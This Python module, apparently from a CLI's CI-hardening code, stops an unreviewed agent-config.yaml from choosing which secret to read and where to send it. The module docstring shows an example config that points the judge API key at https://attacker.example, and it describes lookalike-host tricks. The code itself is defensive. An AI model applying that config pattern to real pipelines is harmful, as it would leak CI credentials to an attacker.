"""Which parts of `agent-config.yaml` CI is allowed to believe. (ABR-007)

The documented workflow runs on `pull_request` when `agent-config.yaml`
changes, and injects `ABRADE_AUT_API_KEY` and `ABRADE_JUDGE_API_KEY` into
the job. That same file supplies two things that decide where a secret
goes:

    model_key_env:  which environment variable to read
    model_endpoint: where to send it

Both come from the branch under test, which at that moment is unreviewed —
changing that file is what triggered the run. So a config-only pull
request can say

    model_key_env: ABRADE_JUDGE_API_KEY
    model_endpoint: https://attacker.example

and the job posts the judge credential to them, with nothing else in the
diff that looks like an attack. Fork PRs do not receive secrets, which is
the only reason this is not worse; it says nothing about same-repository
branches, a compromised contributor account, or a push-triggered job.

The fix is not to recognise a bad endpoint — an allowlist of attackers is
not a thing. It is that **in CI the mapping comes from the workflow**,
which lives in protected configuration, and the repository's copy is
advisory. Outside CI the person running the command wrote the config and
holds the keys, so there is no boundary to enforce and enforcing one would
break every self-hosted gateway.

`abrade verify`'s check that the AUT and judge credentials differ is worth
having and does not help here: distinct credentials still both sit in the
job's environment, and the config still picks which one to send.
"""

from __future__ import annotations

import os
from urllib.parse import urlsplit

# Set by the workflow — protected configuration — to widen what the
# repository may select. Comma-separated.
CI_KEY_ENV_ALLOWLIST_ENV = "ABRADE_CI_ALLOWED_KEY_ENV"
CI_ENDPOINT_ALLOWLIST_ENV = "ABRADE_CI_ALLOWED_ENDPOINTS"

# What the documented recipe uses, so the common case needs no allowlist.
DEFAULT_KEY_ENV = "ABRADE_AUT_API_KEY"
DEFAULT_ENDPOINT = "https://api.anthropic.com"

# Names that mean "yes" when a runner sets them. `CI=false` is a real
# thing; treating the presence of the name as the signal would make those
# jobs fail closed for no reason.
_CI_VARS = ("ABRADE_CI", "CI", "GITHUB_ACTIONS", "GITLAB_CI", "BUILDKITE")
_TRUTHY = {"1", "true", "yes", "on"}


class UntrustedConfigError(ValueError):
    """The repository's config tried to decide something CI does not let it."""


def in_ci() -> bool:
    return any(os.environ.get(name, "").strip().lower() in _TRUTHY for name in _CI_VARS)


def _allowlist(env_name: str, default: str) -> list[str]:
    raw = os.environ.get(env_name, "")
    entries = [item.strip() for item in raw.split(",") if item.strip()]
    # The default is always permitted: an operator who names one extra
    # gateway did not mean to forbid the documented one.
    if default not in entries:
        entries.append(default)
    return entries


def resolve_trusted_key_env(config) -> str:  # noqa: ANN001 — AgentConfig
    """The environment variable holding the AUT's credential.

    Not a denylist of "secrets that look sensitive". A job can hold cloud,
    registry or package credentials this CLI has never heard of, and any of
    them is worth exfiltrating. Only what the workflow named is allowed.
    """
    requested = config.model_key_env
    if not in_ci():
        return requested

    allowed = _allowlist(CI_KEY_ENV_ALLOWLIST_ENV, DEFAULT_KEY_ENV)
    if requested in allowed:
        return requested

    raise UntrustedConfigError(
        f"agent-config.yaml asks to read {requested!r}, which this CI job "
        f"does not permit. In CI the repository cannot choose which secret "
        f"to send — that is what turns a config-only pull request into "
        f"credential exfiltration. Allowed here: {', '.join(sorted(allowed))}. "
        f"To permit another, set {CI_KEY_ENV_ALLOWLIST_ENV} in the workflow "
        f"(not in the repository under test)."
    )


def _host(hostname: str | None) -> str | None:
    """The name, with the DNS root label removed.

    `urlsplit().hostname` lowercases but keeps a trailing dot, so
    `gateway.internal.` and `gateway.internal` compare unequal while
    resolving to the same host. That refused the fully qualified form of an
    endpoint the operator had allowlisted, with a message saying the
    endpoint was not permitted — which sends the reader to the wrong
    problem entirely.

    Safe because it cannot merge two distinct names: the suffix carries no
    label, so `attacker.example.` stays `attacker.example` and is still not
    the allowlisted host. That direction is the one that matters here —
    this comparison decides where the agent-under-test's credential may be
    sent — so it is asserted as a test rather than argued in a comment.

    The API middleware carried the identical gap and was fixed in the same
    week (`core/host_allowlist.py`). Containment scoring and suite
    selection have already drifted between `api/` and `cli/` twice; this is
    the same rule in two places, and the notes say to change both.
    """
    return hostname.rstrip(".") if hostname else hostname


def _same_origin(candidate: str, allowed: str) -> bool:
    """Scheme, host and port must match.

    A prefix comparison would admit `https://gateway.internal.attacker.example`
    for an allowlisted `https://gateway.internal`, which is a different host
    that merely starts with the same characters.
    """
    a, b = urlsplit(candidate), urlsplit(allowed)
    return (a.scheme, _host(a.hostname), a.port) == (
        b.scheme,
        _host(b.hostname),
        b.port,
    )


def resolve_trusted_endpoint(config) -> str:  # noqa: ANN001 — AgentConfig
    """Where the AUT's credential is allowed to be sent."""
    requested = config.model_endpoint
    if not in_ci():
        return requested

    allowed = _allowlist(CI_ENDPOINT_ALLOWLIST_ENV, DEFAULT_ENDPOINT)
    if any(_same_origin(requested, entry) for entry in allowed):
        return requested

    raise UntrustedConfigError(
        f"agent-config.yaml points the run at {requested!r}, which this CI "
        f"job does not permit. Reading the right secret and posting it "
        f"somewhere else is the same disclosure as reading the wrong one. "
        f"Allowed here: {', '.join(sorted(allowed))}. To permit another, "
        f"set {CI_ENDPOINT_ALLOWLIST_ENV} in the workflow (not in the "
        f"repository under test)."
    )
